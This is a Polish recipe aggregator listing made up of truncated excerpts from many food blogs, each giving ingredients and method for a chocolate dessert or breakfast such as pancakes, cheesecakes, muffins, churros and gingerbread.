orkiszowej 1 ½ łyżeczki proszku do pieczenia szczypta soli 1 jajko 1 ½ łyżki cukru 1 szklanka mleka 3 łyżki wiórków kokosowych 40 g roztopionego i przestudzonego masła 2 kostki gorzkiej czekolady kilka truskawek (lub innych ulubionych owoców do dekoracji) kilka listków mięty (do dekoracji) SPOSÓB PRZYGOTOWANIA: 1. Do wysokiego naczynia przesiewamy przez sitko mąkę z proszkiem do pieczenia, dodajemy sól(...)kolor z obu stron. Pancakes przewracamy na drugą stronę, gdy same odchodzą od patelni przy jej energicznym poruszaniu. Amerykańskie naleśniki podajemy z ulubionymi owocami, posypane wiórkami kokosowymi, wiórkami gorzkiej czekolady, lub z bitą śmietaną. Lub z czym tylko sobie wymyślicie :) Leniwego i pełnego miłości dnia

W kuchni Katie
Ciasto z masą cytrynową 303

jeden obok drugiego. Odstawić do całkowitego ostygnięcia. Masa śmietanowa:   500ml śmietanki 36%,  łyżeczka żelatyny,  sok z 1 cytryny,  3 łyżki cukru pudru,  50g startej czekolady. Mocno schłodzoną śmietankę ubić na sztywno z dodatkiem cukru pudru. Żelatynę rozpuścić w soku z cytryny, zagotować, po czym przestudzić. Dodać do śmietanki, krótko zmiksować. Masę równomiernie rozsmarować na masie(...)budyniowej. Posypać startą czekoladą

Z miłości do słodkości
Omlet zawijany z kremem śmietankowym i dietetyczną polewą czekoladową 163

Czekolada nie musi być niezdrowa i zakazana dla osób będących na diecie. Słodkie desery polane sosem czekoladowym nie muszą być już tylko marzeniem :) Zamiast ciast czy babeczek proponuję puszysty omlet biszkoptowy z aksamitnym kremem śmietankowym i dietetyczną polewą czekoladową, na który może pozwolić sobie każdy :) Składniki: 2 białka 1 łyżka mąki owsianej 1 łyżeczka budyniu waniliowego bez cukru Krem(...)miseczce wymieszać składniki na krem. Kakao wymieszać z wodą i dosłodzić według upodobań. Omlet położyć na talerzu, napełnić kremem i zwinąć. Można spiąć wykałaczkami, aby się nie rozwinął. Polać czekoladą :) Smacznego

Chocolate Muffin Blog
Rozgrzewająca kawa ze śmietanką 135

cykorii ( ja użyłam płynnego ekstraktu od Cykoriady ),  100ml śmietanki 30%,  łyżka cukru pudru,  szczypta cynamonu,  szczypta kardamonu,  1/2 laski wanilii,  4 kostki czekolady.  Wykonanie Do dwóch filiżanek nałożyć po 1/2 łyżeczki kawy, zalać wrzątkiem do 3/4 wysokości. Dodać po szczypcie mielonego cynamonu oraz kardamonu.  Mocno schłodzoną śmietankę ubić na sztywno z dodatkiem(...)cukru pudru i nasion wanilii.  Na środku każdej kawy nałożyć kleks ze śmietany, posypać startą czekoladą. Od razu podawać. Do przygotowania tej kawy użyłam płynnego ekstraktu z korzenia cykorii ze stewią, czyli naturalnym zamiennikiem cukru. Producent zaleca użycie 1-2 łyżeczek ekstraktu, jednak dla mnie i dzieci to jest zdecydowanie za mocna dawka, dlatego też ja używam jedynie

Z miłości do słodkości
.1210. what i eat in a day (5) 171

gryczano-amarantusowe placki z domowym dżemem z czarnej porzeczki i gorzką czekoladą 80% kakao~ Śniadanie z wtorku :) Mąka amarantusowa nie polubiła się z kokosową, ale za to z gryczaną tworzy świetny duet! Placki wyszły pyszne :) Do nich jeszcze trochę "słodyczy" w postaci czekolady i kwaśności w postaci domowego dżemu :) Mam również dla Was dzisiaj kolejny jadłospis w formie video, czyli

breakfast of dreams
Kruche serduszka z nadzieniem kawowym 208

nadzieniem kawowym Składniki: CIASTO KRUCHE 120g mąki pszennej 30g mąki ziemniaczanej 80g masła 75g cukru pudru 1 żółtko 1 łyżeczka ekstraktu z wanilii NADZIENIE 100g masła 75g białej czekolady 3 łyżki gorącej przegotowanej wody 3-4 łyżeczki kawy rozpuszczalnej 1 łyżeczka cukru (można pominąć) Wykonanie: CIASTO KRUCHE - składniki na ciasto powinny być zimne - mąkę pszenną i ziemniaczaną przesiać, dodać zimne(...)szczelnym pojemniku spożywczym, niezbyt ściśle poukładane (są dość kruche) NADZIENIE KAWOWE - kawę rozpuścić w gorącej, przegotowanej wodzie, dodać 1 łyżeczkę cukru, wymieszać, ostudzić - do miski przełożyć masło, białą czekoladę i napar kawowy, podgrzewać w kąpieli wodnej do rozpuszczenia się składników i uzyskania gładkiej masy (można to też zrobić w rondelku na minimalnej mocy palnika) - masę zdjąć na blat, ostudzić, schłodzić

Smakołyki Bereniki
Muffiny z czekoladą 131

mąki ½ łyżeczki sody oczyszczonej 2 łyżeczki proszku do pieczenia 2 łyżki kakao 1 szklanka cukru pudru 2 łyżeczki cynamonu ½ łyżeczki kardamonu 1 szklanka mleka ⅓ szklanki oleju 1 jajko posiekana czekolada np. gorzka Wykonanie: Suche składniki włożyć do miski i wymieszać. W mniejszej misce wymieszać mleko, olej i jajko. Mokre składniki wlać do suchych, dodać czekoladę i wymieszać. Ciasto przełożyć

Mama Gotuje
Babeczki z borówkami i białą czekoladą. 173

szklani cukru trzcinowego (100 g), 1 łyżeczka proszku do pieczenia, 1 łyżeczka sody oczyszczonej, 50 ml oleju (ok.5 łyżek), 2 jajka, 1 szklanka mleka (200 ml), 1 biała czekolada, borówki amerykańskie, Wszytko odmierzałam tą samą szklanką – dodatkowo na wszelki wypadek zważyłam wszystko, żeby mieć porównanie. Przygotowanie: Jajka ubiłam z cukrem mikserem, w oddzielnej misce wymieszałam mąkę z proszkiem(...)może być za rzadkie – wtedy należy dodać odrobinę mąki, żeby owoce, które dodamy nie opadły na dno babeczek. Na samym końcu do ciasta dodajemy owoce i pokrojoną drobno czekoladę całość mieszamy delikatnie i ostrożnie łyżką. Układamy foremki papierowe do formy i nakładamy po ok. 2 łyżek do każdej. Przydatne: Czas przygotowania ok. 5- 10 min. Czas pieczenia

rozgotowana
Churros z sosem czekoladowym 255

szklanki mąki pszennej (200 g) 1 łyżeczka cukru z wanilią 1 szklanka mleka 1/4 kostki masła (50 g) 3 duże jajka szczypta soli sos czekoladowy 1 tabliczka mlecznej czekolady (100 g) 1 opakowanie śmietany 30% (200 g) 1 łyżeczka gorzkiego kakao dodatkowo olej do smażenia cukier puder cynamon Na samym początku przygotować ciasto parzone : do rondelka wlać mleko, dodać masło(...)cynamonu *Sos czekoladowy Do rondelka wlać śmietanę oraz wsypać gorzkie kakao. Całość wymieszać. Kakao musi rozpuścić się w śmietanie. Gdy masa z rondelka będzie się gotować to dodać połamaną czekoladę. Rondelek zdjąć z ognia. Całość ze sobą wymieszać, tworząc gładki sos.  Sos czekoladowy Rady: - sos czekoladowy najlepiej przygotować dzień przed smażeniem, ponieważ lekko zgęstnieje. Taki sos przechowywać w lodówce

Ugotować
Doughnuts - donuts - pieczone pączki z dziurką 250

przyszykować je w zdrowszej wersji? Stwierdziłam, że pieczenie ich w specjalnym donut maker'ze przy użyciu mąki żytniej i ksylitolu będzie świetną opcją. Jedynym grzeszkiem jest maczanie ich w czekoladzie, ale nie można popadać w skrajności, prawda? :) Minusem tego przepisu jest warunek posiadania donut maker'a, lecz jeżeli uprzemy się na ich wykonanie bez tej maszyny, możemy zrobić(...)donut'y rosnąc wypychają pokrywę do góry) i pieczemy do momentu, aż nabiorą lekko brązowego koloru. Możemy trzymać je dłużej, jeżeli wolimy ich bardziej chrupiącą wersję. Dekorujemy lukrem, czekoladą lub cukrem pudrem.  Smacznego

Be Fit Be Strong
SLOCUM’S BUZZBITES – FALLOUT 4 – mini pączki z kremem kawowym 226

stron po ok. 1-2 min do zarumienienia. Następnie wykładamy je na ręcznik papierowy, aby odsączyć nadmiar tłuszczu. 6. KREM (5 min) Do miski wlewamy mleko, dodajemy kawę, czekoladę oraz masło i podgrzewamy (najlepiej przez ok. 30 sekund w mikrofalówce lub w kąpieli wodnej, umieszczając nad garnkiem z gotującą wodą – wtedy czekolada się nie zważy). Masa musi być gładka

Nerds Kitchen
Słomki ptysiowe 175

robione są z ciasta parzonego. Ja skorzystałam z przepisu na ciasto parzone z eklerków z kremem budyniowym , które jakiś czas temu pojawiły się na blogu. Najlepiej smakują z rozpuszczoną czekoladą lub sosem karmelowym. Choć na sucho też są pyszne. Polecam!   Składniki: (na ok. 40-50 sztuk)   Ciasto parzone: 1 szkl wody 120 g masła 4 jajek 1 szkl(...)przez 10-15 minut do zezłocenia. Po tym czasie uchylić piekarnik i pozostawić do lekkiego ostudzenia, następnie wyjąć, ściągnąć z blaszki i umieścić na kratce. Podawać, np. z rozpuszczoną czekoladą lub sosem karmelowym. Smacznego

Nastoletnie Wypiekanie
Wegański bezglutenowy sernik z czekoladową kruszonką i musem oraz suszonymi śliwkami 210

banan 50 g cukru 20 g cukru waniliowego 250-300 g śliwek 1 duża, kopiasta łyżka mąki ryżowej i 1 mąki ziemniaczanej lub z tapioki 100 g tabliczka gorzkiej czekolady płaska łyżeczka agaru Przygotowanie: W dużej misce wymieszaj łopatką/łyżką wszystkie składniki na kruszonkę lub rozetrzyj w palcach. Formę do pieczenia wyłóż papierem do pieczenia i przełóż połowę kruszonki formując(...)pozostałą częścią kruszonki. Całość piecz w przez 60-70 minut. na środkowej półce piekarnika w temp. 180 C. A teraz zabierz się za mus czekoladowy. Rozpuść w kąpieli wodnej czekoladę, do lekko przestudzonej dodaj pozostałą część jogurtu/mleka i bardzo dokładnie wymieszaj. Agar rozpuść w około 50 ml wody i dodaj powstałego gluta do masy czekoladowej, ponownie bardzo! dokładnie wymieszaj. Upieczone

greenscarf
Ciasto straciatella 229

proszku niegranulowanego kilka kropli ekstraktu waniliowego    Krem straciatella: 375 g serka mascarpone 2 łyżka cukru pudru 2 łyżki mleka w proszku niegranulowane 150 g mlecznej czekolady, startej drobnych oczkach   Poncz:  1/4 szkl wody z cukrem i sokiem z cytryny   Dodatkowo: kilka łyżek dżemu wiśniowego kakao do oprószenia czekoladowe wiórki do posypania (zastąpiłam startą czekoladą

Nastoletnie Wypiekanie
Owsiane Ciasteczka z Czekoladą, Orzechami i Żurawiną 204

zostawiamy 2-3 minuty na blaszce, po czym przenosimy na kratę kuchenną do ostygnięcia. Czynność powtarzamy z pozostałymi ciasteczkami. Źródło: https://www.goldenbarrel.com/recipe/big-and-chewy-oatmeal-cookies/ The post Owsiane Ciasteczka z Czekoladą, Orzechami i Żurawiną appeared first on Made

Made By Mom And Son
Czekoladowa owsianka z nasionami chia i bakaliami 172

jest jeden z najlepszych deserów jakie jadłam.  Składniki: 1/3 szklanki płatków owsianych 1 szklanka mleka miód do smaku 1 łyżeczka nasion chia 1/3 tabliczki gorzkiej lub deserowej czekolady ulubione bakalie - użyłam mieszanki studenckiej Kresto Mleko wymieszać z płatkami i nasionami chia. Odstawić na kilka godzin do lodówki - u mnie stało całą noc. Następnego dnia zmiksować blenderem wszystko(...)gładką, płynną masę. Przełożyć do garnuszka i na niewielkim ogniu doprowadzić do wrzenia cały czas mieszając, aby nic nie przypaliło się. Gotować przez chwilę. Zdjąć z ognia, dodać pokruszona czekoladę i miód (do smaku). Dokładnie wymieszać. Na końcu wsypać część bakalii i połączyć całość. Przełożyć do pucharków, na wierzchu ułożyć resztę bakalii. Podawać na ciepło lub po całkowitym przestudzeniu

Codzienna kuchnia niecodzienna
Dietetyczna beza budyniowa z kremem kokosowym i posypką z ciemnej czekolady 110

cukru. Hmm... chwilka zastanowienia i pomysł gotowy. Bezę pieczemy na patelni, ale można również upiec ją w piekarniku. Na wierzchu znajdziemy cudowny krem kokosowy i wiórki z ciemnej czekolady słodzonej stevią. Całość jest naprawdę cudowna i w pełni dietetyczna :) Składniki: 2 białka 1 łyżka budyniu waniliowego bez cukru Krem: 1 opakowanie serka homogenizowanego np. Bieluch 2 łyżki wiórków kokosowych(...)łyżeczki jogurtu naturalnego   Dodatkowo: 2 kostki gorzkiej czekolady, startej Rozgrzać patelnię. Białka ubić na sztywną pianę. Dodać budyń (proszek) i wymieszać delikatnie, wyłożyć na patelnię formując chmurkę. Smażyć po 5 minut z każdej strony.  W miseczce wymieszać składniki na krem. Wyłożyć na bezę i posypać wiórkami czekoladowymi. Smacznego

Chocolate Muffin Blog
Różany mazurek z whisky 129

Ogródek Dziadunia 10 kakaowych herbatników typu petit beurre sok z ½ cytryny 2 łyżki whisky Składniki na wierzch: 2 białka 2 łyżeczki skrobi ziemniaczanej 3 łyżki cukru pudru ½ tabliczki gorzkiej czekolady migdały skórka pomarańczowa  Wykonanie: Wszystkie składniki umieść w misce, posiekaj nożem, następnie wyrób gładkie ciasto. Uformuj je w kulę i włóż do lodówki na minimum jedną godzinę.  Blat(...)pianę, dodaj skrobię oraz cukier.  Wyłóż bezę na wierzch.  Wstaw całość ponownie do piekarnika, tym razem ustaw temperaturę na 120 stopni, podpiecz przez 15 minut.  Rozpuść czekoladę w kąpieli wodnej, posiekaj drobno migdały.  Udekoruj nimi mazurek, posyp dodatkowo skórką pomarańczową.  Smacznego

Garniec Magalie
Bezglutenowe miętowe ciastka z czekoladą 118

mąki ryżowej 50 g mąki jaglanej możesz śmiało zmienić proporcje mąki, ważne aby było jej w sumie 400 g 4 torebki herbaty miętowej 1 banan tabliczka gorzkiej czekolady 150 ml oleju roślinnego pół łyżeczki soli 100 g brązowego cukru Przygotowanie: Zblenduj razem cukier, herbatę, olei i banana. Dodaj powstałą masę do mąk i zagnieć ciasto, a pod sam koniec zagniatania(...)dodaj posiekaną czekoladę. Robiłam je na dwa sposoby. W pierwszym: uformowałam wałki, pocięłam od razu na plasterki, ułożyłam na blaszce do pieczenia wyłożonej papierem, przykryłam folią spożywczą i schłodziłam w lodówce przez pół godziny. Drugi sposób, to schłodzenie wałków ciasta zawiniętych w folię, po czym formowanie ich bezpośrednio przed pieczeniem. Nie będę kłamać, cisto jest kruche, i ciężko się

greenscarf
Naleśniki owsiane z bananem, masłem orzechowym i czekoladą 167

brzmi pysznie prawda? Tak też smakuje. Banan, masło orzechowe i czekolada to chyba najlepsze trio kulinarne na świecie. Pasuje do wszystkiego począwszy od omletów, przez kanapki aż do owsianek i budyni. Nic tylko zajadać :) Naleśniczki są odchudzone jak tylko mogą być, ale trening przed lub po ich zjedzeniu jak najbardziej zalecany! :) ...zabrakło czekoladki :( Składniki: 2 jajka 100 g mąki owsianej(...)minut. Na patelnię wylewać małą chochelkę ciasta i smażyć na złoto. Odkładać na talerz. Na jednego naleśnika położyć plasterki banana, posmarować masłem orzechowym,a w środku ułożyć kostkę gorzkiej czekolady. Przykryć drugim naleśnikiem. Można jeść na zimno lub na ciepło. Smacznego

Chocolate Muffin Blog
Tort z musem czekoladowym i wiśniami 176

szklanka cukru 1 szklanka mąki łyżeczka proszku do pieczenia krem budyniowy : opakowanie budyniu śmietankowego lub waniliowego 420ml mleka 3 łyżki cukru 20 dag masła laska wanilii mus czekoladowy : 200g czekolady deserowej 2 łyżki brandy 4 łyżki wody mineralnej 30g masła 3 jajka 55g cukru 150ml śmietanki kremówki oraz wiśnie z alkoholu migdały w słupkach Sposób przygotowania: Biszkopt: białka ubijamy(...)budyń, pozostałą cześć mleka zagotowujemy z miąższem wanilii i cukrem. Gdy mleko się zagotuje mieszamy obie części. Wystudzony budyń ucieramy z miękkim masłem. Mus czekoladowy: w kąpieli wodnej rozpuszczamy czekoladę z dodatkiem brandy i wody tak aby powstała gęsta masa. Zdejmujemy z ognia i dodajemy masło a następnie kolejno żółtka jajek energicznie mieszając aż powstania gładka masa. Odstawić do ostygnięcia

Pyry na Gaz
Najprostszy, śmietankowy sernik lodowy 72170

rozpływał się ustach. Zasmakował nam niesamowicie, że postanowiłam odtworzyć ten smak w mniej słodkiej wersji. I powiem Wam, że udało mi się! Na zdjęciu, porcja mojego mężczyzny z roztopioną czekoladą mleczną i masłem orzechowym, a ja wolałam opcję mniej kaloryczną - z musem malinowym i taką również Wam polecam! Składniki: - 500ml lodów śmietankowych - 500g mascarpone - 2 jajka *opcjonalnie: laska wanilii Tortownicę(...)przygotowanej formy i mrozimy w zamrażalniku ok. 3-4h. Chwilę przed podaniem przekładamy ciasto z zamrażalnika do lodówki. Podajemy z musem malinowym (zmiksowane maliny na mus), z roztopioną czekoladą lub innymi ulubionymi dodatkami :). Smacznego

Be Fit Be Strong
Owsianka z chia i karmelizowanym bananem 100

Składniki na 1 porcję: 1 szklanka mleka 2 łyżki płatków owsianych 1 łyżka chia 1/2 łyżeczki ekstraktu waniliowego szczypta soli garść migdałów 1 kostka gorzkiej czekolady 1 łyżeczka miodu (opcjonalnie) 1 łyżka wiórków kokosowych 1 banan 1 łyżeczka cukru brązowego odrobina oleju kokosowego/masła W rondelku zagotować mleko, chia oraz płatki owsiane. Gotować od 5 do 15 minut, w zależności(...)olej kokosowy. Dodać pokrojonego w plasterki banana. Posypać go brązowym cukrem. Smażyć po minucie z każdej strony.  Owsiankę przełożyć do miseczki, dodać migdały oraz wiórki kokosowe. Posypać startą czekoladą oraz polać miodem. Ostrożnie przełożyć banana. Sycące, ciepłe śniadanie gotowe. Smacznego

Moja Galeria Smaku
Pralinki - blok czekoladowy z mleka granulowanego odtłuszczonego 119

bloku czekoladowego. Składniki:     250g mleka odtłuszczonego granulowanego     0,5 szklanki wody     1 szklanka cukru     150g gorzkiej czekolady     ok. 180g herbatników     3 łyżki kakao     200g masła    Przygotowanie:    Herbatniki pokruszyć w malakserze (ja dałam mojemu 4-letniemu(...)synkowi, który kocha mi pomagać).  Do garnka wlać wodę, dodać cukier i zagotować. Dodać masło i rozpuścić. Wrzucić połamaną czekoladę, mieszać aż będzie gładka masa. Garnek zdjąć z ognia, dodać przesiane kakao, dobrze wymieszać aby nie było żadnych grudek. Dodać mleko, ponownie wymieszać. Na końcu dorzucić pokruszone herbatniki. Całość szybko wymieszać. Masa jest bardzo gęsta. Foremki do czekoladek wyłożyć

Amatorka kuchenna
Czekoladowe batoniki owsiano-kokosowe 140

szklanki płatków owsianych 50 g wiórków kokosowych 3 łyżki gorzkiego kakao 1,5 łyżki oleju kokosowego  4 czubate łyżki miodu, np. rzepakowego opcjonalnie 3 kostki gorzkiej czekolady Płatki zmielić w maszynce do kawy. Do mąki z płatków owsianych wsypać kakao, wiórki kokosowe i posiekaną czekoladę. W rondelku rozpuścić olej kokosowy wraz z miodem. Gdy składniki będą płynne to wlać

Ugotować
Czekoladowa szarlotka 161

mąki pszennej, 4 łyżki kakao, 100 g miękkiego masła, 4 łyżki cukru, 2 żółtka, zimna woda, 750 g jabłek, 25 g masła, 1/2 łyżeczki cynamonu, 50 g gorzkiej czekolady, piana z 1 białka, 1/2 łyżeczki cukru, Wykonanie; Do mąki i kakao dodajemy masło i wcieramy aż powstanie zacierka. Dodajemy cukier, żółtka i tyle wody żeby zagnieść ciasto /ok.100 ml/. Wykładamy(...)czasie przygotowujemy jabłka.Pokrojoną połowę jabłek w plastry wrzucamy do rondla. dodajemy masło i cynamon. Dusimy aż zmiękną. Dodajemy drugą połowę jabłek . Gdy masa jabłkowa ostygnie dodajemy pokrojoną czekoladę.Na ciasto wkładamy jabłka i dekorujemy wierzch wedle uznania pozostałym ciastem.Piekarnik nagrzewamy do 180 stopni i pieczemy ok. 35-40 minut. Smacznego

Anioły w kuchni
Ciasto dyniowe z czekoladą 173

Wilgotne ciasto z czekoladą zawładnie umysłem każdego łasucha, polecam gorąco. Ciasto jest puszyste, wilgotne i bardzo smakowite. Ciasto dyniowe z czekoladą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Rolada biszkoptowa z kremem pomarańczowym 212

płatki żelatyny 3 łyżki cukru pudru/ksylitolu skórka otarta z pomarańczy 2 łyżki likieru Cointreau 1 mandarynka - opcjonalnie 3-4 łyżki dżemu pomarańczowego Składniki na polewę czekoladową: 80 g gorzkiej czekolady 50 ml śmietany kremówki Wykonanie: odważyć suche składniki na biszopt i wymieszać. Jajka w całości, nie odzielając białek od żółtek ubić na puszysty kogel-mogel. Powinny prawie potroić objętość(...)zmiksować rozwinąć roladę, posmarować dżemem, równomiernie rozłożyć krem i rozłożyć przygotowane fileciki z mandarynki. Ponownie zwinąć i odstawić do lodówki, by stężał krem zagotować kremówkę, wrzucić do śmietany połamaną czekoladę i mieszać do rozpuszczenia. Posmarować roladę

Gotuj zdrowo!Guten Appetit!
Placek orzechowy z dynią 228

kokosowych ¼ szklanki erytrolu, ksylitolu lub innego słodzidła 2 łyżeczki proszku do pieczenia Przyprawa do piernika lub przyprawy korzenne Szczypta soli 1 jajko Trochę ponad ½ szklanki puree z dyni ½ gorzkiej czekolady Opcjonalnie: ekstrakt waniliowy Opcjonalnie: bakalie (suszone morele, orzechy itp.)   Przygotowanie: Zaczynamy od zmielenia orzechów i wiórków kokosowych w młynku/malakserze/blenderze. Mielimy aż zostaną drobne kawałeczki orzechów, prawie na mąkę(...)dyni i ekstrakt waniliowy, jeżeli go używamy. Łączymy mokre składniki z suchymi (w tym przepisie nieważne jest, które do których dodamy), i mieszamy, aż wszystko ładnie się połączy. Kroimy czekoladę na małe kawałeczki i wrzucamy do masy. Jeśli chcemy dodać jakieś bakalie, teraz jest dobry moment. I mieszamy naszą masę, aż nam się wszystko złączy J Masę wykładamy łyżką

Jak gotować i nie zwariować
Ciasto czekoladowe 191

łyżeczki sody 3 łyżeczki cukru waniliowego 50 g kakao 0,5 szklanki maślanki 1 szklanka wody 150 g masła 3 jajka Składniki na polewę: 100 g gorzkiej czekolady 100 ml śmietany kremówki + garść orzechów, owoce do dekoracji (u mnie maliny) Masło wyciągamy wcześniej z lodówki, żeby zmiękło. Kakao rozpuszczamy dokładnie w ciepłej wodzie. Sodę mieszamy z mąką. Wszystkie cukry (biały(...)tortownicy wyłożonej papierem do pieczenia. Pieczemy około 1 godziny w piekarniku rozgrzanym na 180 – 200 stopni. Czas, kiedy ciasto jest w piecu możemy wykorzystać na przygotowanie polewy. Czekoladę kroimy na drobne kawałki lub ścieramy na tarce. Zalewamy zagotowaną śmietaną kremówką i przykrywamy, po około 10-15 minutach mieszamy całość do uzyskania jednolitej konsystencji. Po wyciągnięciu ciasta z piekarnika (warto

Ciastkozercy
Piernikowe brownie z karmelem i orzechami 206

korzennych przypraw - to się nie mogło nie udać! :) Ciasto jest przepyszne, upieczcie przy najbliższej okazji, albo i nawet... bez okazji :) SKŁADNIKI (blacha 25 x 25 cm) 2 tabliczki gorzkiej czekolady ( użyłam 70% kakao) 120g masła 1 duża łyżka kakao 4 jajka 1 i 1/3 szklanki mąki pszennej lub orkiszowej jasnej 1 opakowanie cukru wanilinowego Delecta 1 łyżka przyprawy do piernika(...)150g orzechów (najlepiej pecan, włoskich lub laskowych) 400g masy kajmakowej 1 opakowanie posypki karmelowej Delecta SPOSÓB PRZYGOTOWANIA Masło topimy ( w rondelku lub w mikrofali). Do roztopionego masła dodajemy połamaną czekoladę i mieszamy do całkowitego rozpuszczenia. Dodajemy cukier wanilinowy, przyprawę do piernika oraz kakao i dokładnie mieszamy. Jajka wybijamy do oddzielnej miseczki. Masę czekoladową miksujemy na niskich obrotach i dodajemy

DefinicjaSmaku
Sernik z truflą czekoladową 143

120g cukru 1/2 laski wanilii 1 łyżka mąki ziemniaczanej 200 ml śmietany 36% ok. 200 g ciasteczek owsianych albo digestive ok. 120-150 g masła (nie margaryny!)   400g czekolady deserowej (można też użyć pół na pół deserowej z gorzką, zależy jak bardzo wytrawną truflę chcecie otrzymać) 500 ml śmietany 36% (nie można zamienić) 150 ml likieru kawowego 4 łyżki(...)żaroodporne z wodą). Gotowy sernik ma ściętą, lekko sprężystą powierzchnię. Studzić przy otwartych drzwiach piekarnika. Kremówkę (500 ml) krótko zagotować w niewielkim garnku. Zdjąć z palnika, rozpuścić w niej czekoladę, dokładnie wymieszać. Masę schłodzić – powinna lekko zgęstnieć, ale nie całkowicie. Dodać likier i cukier puder i miksować. Masa truflowa powinna zgęstnieć, zwiększyć objętość i stać się jaśniejsza. Wykładamy masę

Pociąg Do Kuchni
Piernik na herbacie 186

jajka 5 łyżek cukru 160 g miodu 150 ml oleju 180 ml gorącej mocnej czarnej herbaty garść suszonych żurawin łyżka drobno posiekanych orzechów (u mnie nerkowce) 100 g czekolady łyżka śmietany słoiczek konfitury lub powideł Natłuścić formę do pieczenia piernika. Wymieszać ze sobą sypkie składniki i starty imbir.  Jajka zmiksować z cukrem na puszystą masę. Do jajek dodać miód(...)temperaturze, np. 170 stopni C. Po upieczeniu ciasto wyjąć z formy na kratkę. Odstawić do ostudzenia. Przekroić ciasto i przełożyć np. konfiturą z aronii lub powidłami śliwkowymi . Wierzch polać czekoladą stopioną w kąpieli wodnej i wymieszaną ze śmietaną. Ozdobić ciasto według uznania.  ----- Podobne: Warstwowy miodownik Drożdżowy chleb marchwiowy Pierniczki świąteczne Przepis dodaję do konkursu firmy Amica z myślą

Weekendy w domu i ogrodzie
Cytrusowy deser w wersji świątecznej 132

biszkoptów Warstwa żółta 2 galaretki o smaku cytrynowym Warstwa górna puszka mandarynek 300 g gęstej śmietany (użyłam 18%) łyżka-dwie cukru pudru 2 łyżeczki (z małym czubkiem) żelatyny gorzka czekolada (ok. 2 kostek) Galaretki cytrynowe rozpuścić we wrzątku. Odstawić do ostygnięcia i lekkiego stężenia (galaretka nie może być lejąca, ale też nie może stężeć na tyle, że da się(...)rozpuścić w zalewie mandarynkowej. Śmietanę ubić z cukrem pudrem.  Dodać do śmietany rozpuszczoną żelatynę i dokładnie wymieszać. Przełożyć śmietanę na mandarynki. Wyrównać powierzchnię łopatką. Wierzch deseru posypać ścieraną czekoladą. Ewentualnie udekorować. Odstawić do lodówki na kilka godzin lub na noc. ------ Podobne: Tort makowo-kawowy Tureckie ciasto szpinakowe Warstwowy miodownik

Weekendy w domu i ogrodzie
Ciasto czekoladowo buraczane 152

pszennej 2 łyżeczki proszku do pieczenia 50 g kakao 200 g jogurtu naturalnego 1 opakowanie cukru z prawdziwą wanilią ¼ łyżeczki soli polewa: 100 g cukru pudru 50 g gorzkiej czekolady 1 łyżka kakao 3 łyżki mleka Wykonanie: ciasto: Buraki obrać, ugotować i zmiksować na pure. Do buraków dodać pozostałe składniki i dokładnie wymieszać. Ciasto przełożyć do tortownicy o średnicy(...)grubym dnie i delikatnie podgrzewać cały czas mieszając do momentu aż wszystkie składniki się połączą. Ciasto polać polewą i zostawić do wystygnięcia. Wierzch ciasta można posypać np. wiórkami czekolady

Mama Gotuje
Sernik piernikowy według przepisu Pawła Małeckiego 391

nich i urzekł mnie przepis na sernik piernikowy według Pawła Małeckiego. Zawsze wychodzi i jest naprawdę pyszny. Polecam nie tylko w święta :) Składniki: Na spód piernikowy: 180g margaryny 140g czekolady deserowej 125g mąki pszennej 100g miodu 40g cukru trzcinowego 30g cukru waniliowego (albo 20g domowego cukru waniliowego) 20g mąki ziemniaczanej 15g przyprawy do piernika 10g proszku do pieczenia 4 jajka(...)dodając żółto. Kiedy ciasto będzie gotowe formujemy je w wałek, owijamy folią spożywczą i umieszczamy w zamrażalniku na około 1h. Przygotowanie spodu: Na małym ogniu w garnuszku rozpuszczamy margarynę, czekoladę oraz miód. Dodajemy przyprawę do piernika, całość mieszamy ciągle podgrzewając. Uważamy by nie zagotować masy. Następnie zdejmujemy z ognia i odstawiamy by nieco ostygło. Jajka ubijamy z cukrem trzcinowym

Kolizje Smaków
Babka pomarańczowo-czekoladowa 188

masła 200 g cukru 350 g mąki 4 jajka 2 łyżeczki proszku do pieczenia 75 ml mleka skórka starta z jednej pomarańczy kilka łyżek soku z pomarańczy 70 g czekolady (gorzkiej lub mlecznej) polewa czekoladowa kandyzowana skórka pomarańczowa Masło ucieramy z cukrem na miękki puch. Nie przerywając ucierania dodajemy po jednym jajku. Następnie wsypujemy partiami mąkę wymieszaną z proszkiem(...)pieczenia i dolewamy mleko. Dodajemy posiekaną na kawałki czekoladę, skórkę startą z pomarańczy kilka łyżek soku i 1 łyżkę kandyzowanej skórki z pomarańczy. Całość dokładnie mieszamy. Formę z kominkiem smarujemy tłuszczem i wysypujemy mąką. Przelewamy do niej gotowe ciasto. Wkładamy je do piekarnika nagrzanego do 180 stopni i pieczemy około 60 minut (aż do suchego patyczka). Wystudzoną babkę smarujemy polewą

My simple kitchen
Ciasto bez pieczenia „Niebiańska chmurka” 359

sera mascarpone na herbatnikach. Składniki: Masa: 650 ml śmietany 30% 4 łyżki cukru pudru 250g mascarpone 2 galaretki (dałam o smaku owoców leśnych)Dodatkowo: ok. 200g herbatników tabliczka czekolady mlecznej Przygotowanie Galaretki rozpuszczamy w 200 ml gorącej wody, odstawiamy do wystygnięcia. Śmietanę ubijamy na sztywno z cukrem pudrem, następnie cały czas miksując dodajemy mascarpone i bardzo powoli wlewamy zimną(...)masy, wyrównujemy łyżką, układamy kolejną warstwę herbatników i wylewamy drugą połowę masy (odrobinę masy zostawiamy na wierzch). Układamy ostatnią warstwę herbatników, rozsmarowujemy pozostałą masę i wysypujemy na nią startą czekoladę. Ciasto odstawiamy do lodówki na kilka godzin

e-PrzepisyKulinarne
Rolada piernikowa z marcepanowym kremem. 175

masą i ściśle zwijamy w roladę. Tak powstałe ciasto zawijamy w folię aluminiową lub spożywczą i przekładamy do lodówki na około 2 godziny.  POLEWA: 150 g dobrej klasy czekolady mlecznej kilka łyżek śmietany słodkiej (18 lub 30%)      Czekoladę wraz ze śmietaną rozpuszczamy w kąpieli wodnej, dokładnie mieszamy i dekorujemy schłodzone ciasto. Wierzch posypujemy cukrowymi lub czekoladowymi

Rozpustne gotowanie
Dietetyczne ptasie mleczko waniliowe 141

